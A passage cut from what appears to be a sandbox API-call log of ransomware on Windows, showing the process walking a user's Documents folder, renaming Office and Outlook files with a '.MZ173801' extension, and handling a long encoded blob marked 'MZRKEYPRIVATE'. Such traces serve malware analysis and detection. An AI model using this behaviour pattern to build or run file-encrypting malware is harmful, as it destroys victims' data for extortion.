(lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mz173801")) returned 1 [0171.763] VirtualFree (lpAddress=0x7fe60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.764] VirtualFree (lpAddress=0x7fe10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] GetCurrentThreadId () returned 0xab4 [0171.766] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x67d00605, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 0 [0171.766] GetLastError () returned 0x12 [0171.766] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0171.766] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x90844ef8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90844ef8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0171.766] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0171.766] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.766] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x90844ef8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90844ef8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0171.766] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.766] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.766] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x90844ef8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="kkcie@kdj.kd.pst.MZ173801", cAlternateFileName="KKCIE@~1.MZ1")) returned 1 [0171.766] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.766] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.766] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x90844ef8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="kkcie@kdj.kd.pst.MZ173801", cAlternateFileName="KKCIE@~1.MZ1")) returned 0 [0171.766] GetLastError () returned 0x12 [0171.766] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0171.766] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba923b0, ftCreationTime.dwHighDateTime=0x1d56cf5, ftLastAccessTime.dwLowDateTime=0x3b40db40, ftLastAccessTime.dwHighDateTime=0x1d58813, ftLastWriteTime.dwLowDateTime=0x8ea0515f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2830, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pUtEu.docx.MZ173801", cAlternateFileName="PUTEUD~1.MZ1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x172e2e20, ftCreationTime.dwHighDateTime=0x1d5eaaa, ftLastAccessTime.dwLowDateTime=0xf52a7730, ftLastAccessTime.dwHighDateTime=0x1d5ed82, ftLastWriteTime.dwLowDateTime=0x8eec9b1b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x12c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCiQJ4sRfOg.ppt.MZ173801", cAlternateFileName="RCIQJ4~1.MZ1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6317a0, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0xf13772a0, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0x8eeefe7c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd045, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SyPgeh2hWXPmhIqZ_oMv.doc.MZ173801", cAlternateFileName="SYPGEH~1.MZ1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c95bdf0, ftCreationTime.dwHighDateTime=0x1d57b5d, ftLastAccessTime.dwLowDateTime=0x7f06d7f0, ftLastAccessTime.dwHighDateTime=0x1d5e388, ftLastWriteTime.dwLowDateTime=0x8ef1616f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xba8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YYk-.xlsx.MZ173801", cAlternateFileName="YYK-XL~1.MZ1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cf01120, ftCreationTime.dwHighDateTime=0x1d56d67, ftLastAccessTime.dwLowDateTime=0x3a9b9480, ftLastAccessTime.dwHighDateTime=0x1d5b029, ftLastWriteTime.dwLowDateTime=0x8f0211d2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17959, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y_OK e3 tBYnfH- u5V.pptx.MZ173801", cAlternateFileName="Y_OKE3~1.MZ1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G", cAlternateFileName="_MPFSX~1")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.767] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0171.767] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0171.767] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bfc1920, ftCreationTime.dwHighDateTime=0x1d5ec4c, ftLastAccessTime.dwLowDateTime=0xe7be9500, ftLastAccessTime.dwHighDateTime=0x1d5e7c8, ftLastWriteTime.dwLowDateTime=0xe7be9500, ftLastWriteTime.dwHighDateTime=0x1d5e7c8, nFileSizeHigh=0x0, nFileSizeLow=0x13b5b, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="--tntGBlNV6a.ppt", cAlternateFileName="--TNTG~1.PPT")) returned 1 [0171.767] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0171.767] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bfc1920, ftCreationTime.dwHighDateTime=0x1d5ec4c, ftLastAccessTime.dwLowDateTime=0xe7be9500, ftLastAccessTime.dwHighDateTime=0x1d5e7c8, ftLastWriteTime.dwLowDateTime=0xe7be9500, ftLastWriteTime.dwHighDateTime=0x1d5e7c8, nFileSizeHigh=0x0, nFileSizeLow=0x13b5b)) returned 1 [0171.767] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt")) returned 0x20 [0171.768] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt", dwFileAttributes=0x80) returned 1 [0171.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlD